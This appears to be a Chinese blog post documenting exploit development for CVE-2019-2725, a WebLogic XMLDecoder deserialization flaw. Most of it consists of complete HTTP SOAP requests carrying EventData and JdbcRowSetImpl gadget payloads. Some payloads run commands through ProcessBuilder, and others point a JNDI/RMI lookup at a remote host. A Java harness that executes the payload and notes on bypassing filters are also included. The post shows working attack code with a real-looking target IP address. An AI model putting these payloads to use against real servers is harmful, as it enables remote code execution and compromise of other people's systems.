# CVE-2019-2725二次反序列化EventData Gadget POC/JdbcRowSetImpl POC构造
CVE-2019-2725二次反序列化EventData Gadget POC
构造MapMsgEntity POC时会爆如下错误，原因畅师傅已经说了，当前类不是public
具体想跟一下怎么报错的，可以这样操作,报错代码如下：
java.lang.NoSuchMethodException: <unbound>=Class.new(byteArray);
全局搜索NoSuchMethodException，直到执行到这个地方，从调用栈回溯，追踪一下就ok了。
漏洞代码如下：
POC如下，不知道EventData类传递string类型的参数怎么写。怼出如下数据包了，能够执行命令，这里是一个坑点，还得看下大佬怎么构造的poc
POST /_async/AsyncResponseService HTTP/1.1
Host: 121.195.170.96:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 885
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>org.slf4j.ext.EventData</string><void>
<array class="java.lang.String" length="1">
<void index="0">
<string>"<java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java>"</string>
</void>
</array>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
运行如下代码就能执行命令
package weblogic;
import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
public class Test {
//ByteArrayInputStream本身操作的是一个数组，并没有打开文件描述之类的，所有不需要关闭流
public static void main(String[] args) {
ByteArrayInputStream bais=null;
StringBuilder sb=new StringBuilder();
int temp=0;
int num=0;
long date1=System.currentTimeMillis();
try{
//bais也就是我们构造好的payload
bais=new ByteArrayInputStream("<java version=\"1.8.0_131\" class=\"java.beans.XMLDecoder\"><object class=\"java.lang.ProcessBuilder\"><array class=\"java.lang.String\" length=\"1\"><void index=\"0\"><string>calc</string></void></array><void method=\"start\" /></object></java>".getBytes());
XMLDecoder decoder = new XMLDecoder(bais);
decoder.readObject();
while((temp=bais.read())!=-1){
sb.append((char)temp);
num++;
}
System.out.println(sb);
System.out.println("读取的字节数："+num);
}finally{
try{
bais.close();//不需要关闭流的，但是调用close没有任何影响，close不做任何事情
}catch(IOException e){
e.printStackTrace();
}
new File("d:"+File.separator+"a.txt");//File.separator是一个文件分隔符，在windows和linux平台下运行都没有问题
}
long date2=System.currentTimeMillis();
System.out.println("耗时:"+(date2-date1));
}
}
调试的时候发现代码执行不到.
真的很迷，上面poc怎么弹的计算器都不知道。最终Poc如下，原来参数可以放在这里<void><string><![CDATA[POC]]></string></void>：
POST /_async/AsyncResponseService HTTP/1.1
Host: 121.195.170.96:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 801
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start" /></object></java>]]></string>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
代码最终来到这里，RCE.
还有com.sun.rowset.JdbcRowSetImpl类最后一个POC编写，一定要搞出来啊。
CVE-2019-2725二次反序列化JdbcRowSetImpl Gadget POC构造
jdk1.6没有property标签，jdk 1.7以上可以使用。因为绕过需要用到property标签赋值，只能用于weblogic12版本，weblogic10.3.6版本会爆如下错误：
java.lang.Exception: Unrecognized opening tag: property name="dataSourceName"
Continuing ...
java.lang.Exception: Unrecognized closing tag: property
Continuing ...
java.lang.Exception: Unrecognized opening tag: property name="autoCommit"
Continuing ...
java.lang.Exception: Unrecognized closing tag: property
Continuing ...
java.lang.NoSuchMethodException: <unbound>=Class.new("rmi://localhost:9999/aa", Boolean);
POC如下：
POST /_async/AsyncResponseService HTTP/1.1
Host: 121.195.170.96:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 694
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>com.sun.rowset.JdbcRowSetImpl</string><void>
<property name="dataSourceName"><string>rmi://localhost:9999/aa</string></property><property name="autoCommit"><boolean>true</boolean></property>
</void></class>
</java>
</work:WorkContext>
</soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
property标签代替<void property="">
之前的POC
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://121.195.170.127:2222/aa</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
绕过的POC
<java>
<class>
<string>com.sun.rowset.JdbcRowSetImpl</string>
<void>
<property name="dataSourceName"><string>rmi://localhost:9999/aa</string>
</property>
<property name="autoCommit">
<boolean>true</boolean>
</property>
</void>
</class>
</java>
漏洞就不调试了，看我之前写过的https://www.cnblogs.com/afanti/p/10222293.html
参考链接：
https://paper.seebug.org/909/
给XML的property属性赋value
